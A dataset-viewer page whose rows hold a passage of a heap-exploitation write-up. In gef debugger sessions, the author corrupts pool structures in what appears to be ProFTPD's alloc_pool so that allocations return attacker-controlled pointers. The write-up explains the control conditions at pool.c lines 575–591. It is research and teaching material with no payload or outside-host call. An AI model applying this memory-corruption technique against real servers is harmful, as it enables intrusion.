text stringlengths 0 1.99k |
|---|
$7 = { |
a = { |
cp = 0x5a5a5a5a5a5a5a5a, |
f = 0x5a5a5a5a5a5a5a5a, |
l = 0x5a5a5a5a5a5a5a5a, |
fp = 0x5a5a5a5a5a5a5a5a, |
d = 1.7838867517321418e+127 |
}, |
pad = 'Z' <repete 32 vezes>, |
h = { |
endp = 0x5a5a5a5a5a5a5a5a, |
next = 0x5a5a5a5a5a5a5a5a, |
first_avail = 0x5a5a5a5a5a5a5a5a |
} |
} |
gef➤ |
Here it's important to understand that p->last is a union type, and when we |
print p->last we see the values of cleanups, sub_pools, and sub_next |
members, which we control. |
Okay, we did change it, but we know that on line 575 it will crash again |
because first_avail is not a valid address. I decided to point it to my own |
structure because it contains data that we can manipulate. Of course, we |
assume by now that we know p's address and can calculate the &p->cleanups |
offset. |
If we continue execution, we'll see that it crashes again. So before we |
continue, let's change the p members again: |
gef➤ set p->sub_next = &p->tag |
gef➤ p *p->last |
$10 = { |
a = { |
cp = 0x5a5a5a5a5a5a5a5a, |
f = 0x5a5a5a5a5a5a5a5a, |
l = 0x5a5a5a5a5a5a5a5a, |
fp = 0x5a5a5a5a5a5a5a5a, |
d = 1.7838867517321418e+127 |
}, |
pad = 'Z' <repete 16 vezes>, "\221\234C\360DV\000\000ZZZZZZZZ", |
h = { |
endp = 0x5a5a5a5a5a5a5a5a, |
next = 0x5a5a5a5a5a5a5a5a, |
first_avail = 0x5644f0439c91 |
} |
} |
gef➤ |
Ok, let's recap on alloc_pool: |
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) { |
[...] |
569 blok = p->last; |
570 if (blok == NULL) { |
571 errno = EINVAL; |
572 return NULL; |
573 } |
574 |
575 first_avail = blok->h.first_avail; |
[...] |
587 new_first_avail = first_avail + sz; |
588 |
589 if (new_first_avail <= (char *) blok->h.endp) { |
590 blok->h.first_avail = new_first_avail; |
591 return (void *) first_avail; |
592 } |
593 |
[...] /* Need a new one that's big enough */ |
597 blok = new_block(sz, exact); |
598 p->last->h.next = blok; |
599 p->last = blok; |
600 |
601 first_avail = blok->h.first_avail; |
602 blok->h.first_avail = sz + (char *) blok->h.first_avail; |
[...] |
605 return (void *) first_avail; |
606 } |
Reading the code above, if the size of the block is not large enough to |
store the data, it will evaluate to false on line 589, and another block |
will be retrieved from the pool on line 597, overwriting p->last. This is |
not desirable, as we would lose control of p's members. We need to make |
sure we keep control of the allocations at all times. This is very |
important for successful exploitation. |
Thus, we need alloc_pool to evaluate to true at line 589 and return at line |
591. This means p->last->h.endp should have a value greater than |
p->last->h.first_avail. |
At some point, I tried partially overwriting of p->last, but since I need |
it to pass the if at pool.c:576, I thought it would be very difficult to |
succeed with this approach. |
Now first_avail is a valid pointer and the condition will be evaluated as |
true, returning a pointer controllable by us: |
gef➤ p *p->last |
$11 = { |
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.